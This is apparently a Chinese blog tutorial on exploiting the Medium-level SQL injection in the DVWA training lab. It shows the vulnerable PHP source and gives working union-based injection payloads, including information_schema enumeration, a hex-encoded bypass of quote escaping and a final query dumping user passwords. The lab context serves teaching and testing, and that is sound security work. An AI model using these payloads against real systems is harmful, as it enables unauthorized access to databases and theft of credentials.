滲透測試之DVWA的Medium級別的SQL注入

Medium SQL Injection Source是通過一個下拉表的方式提交數據的。選擇數據後提交,發現URL不是GET注入是把提交的數據存放到post數據中

先把源代碼放出來

<?php
 
if( isset( $_POST[ 'Submit' ] ) ) {
	// Get input
	$id = $_POST[ 'id' ];
	$id = mysql_real_escape_string( $id );
 
	// Check database
	$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
	$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
 
	// Get results
	$num = mysql_numrows( $result );
	$i   = 0;
	while( $i < $num ) {
		// Display values
		$first = mysql_result( $result, $i, "first_name" );
		$last  = mysql_result( $result, $i, "last_name" );
 
		// Feedback for end user
		$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
 
		// Increase loop count
		$i++;
	}
 
	//mysql_close();
}
 
?>

可以看到,Medium級別的代碼利用mysql_real_escape_string函數對特殊符號\x00,\n,\r,\,’,”,\x1a進行轉義,同時前端頁面設置了下拉選擇表單,希望以此來控制用戶的輸入。

我們可以用hackbar或者用burpsuite抓包試一下。

一:Hack Bar

1、添加post數據如下 ,點擊POST

2、我們可以在這裏添加註入語句:id=3 union select 1,database()#&Submit=Submit。獲得當前數據庫爲dvwa,再用LOW級別手工注入同樣的方法獲取其他數據庫信息。

二:BurpSuite

這裏我說一下代理工具Proxy SwitchyOmega,可以輕鬆快捷地管理和切換多個代理設置。BurpSuite抓包改參數,提交惡意構造的查詢參數。
1.判斷是否存在注入,注入是字符型還是數字型
抓包更改參數id爲2' or 1=1 #,報錯。也可以右鍵Send to Repeater發送到Repeater,在Repeater模擬瀏覽器訪問,成功了再改。

抓包更改參數id爲2 or 1=1 #,查詢成功。

說明存在數字型注入。由於是數字型注入,服務器端的mysql_real_escape_string函數就形同虛設了,因爲數字型注入並不需要藉助引號。

2、猜解SQL查詢語句中的字段數。抓包更改參數id爲2 order by 2 #,查詢成功。抓包更改參數id爲2 order by 3 #,報錯。

說明執行的SQL查詢語句中只有兩個字段,即這裏的First name、Surname。

3、確定顯示的字段順序。抓包更改參數id爲2 union select 1,2 #,查詢成功。

4、獲取當前數據庫。抓包更改參數id爲2 union select 1,database() #,查詢成功。

5、獲取數據庫中的表。抓包更改參數id爲2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查詢成功。

一共有兩個表,guestbook與users。

6、獲取表中的字段名。抓包更改參數id爲2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#,查詢失敗。

這是因爲單引號被轉義了,變成了\'。可以利用16進制進行繞過,抓包更改參數id爲1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #,查詢成功。

說明users表中有8個字段,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

7、下載數據。抓包修改參數id爲1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查詢成功。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章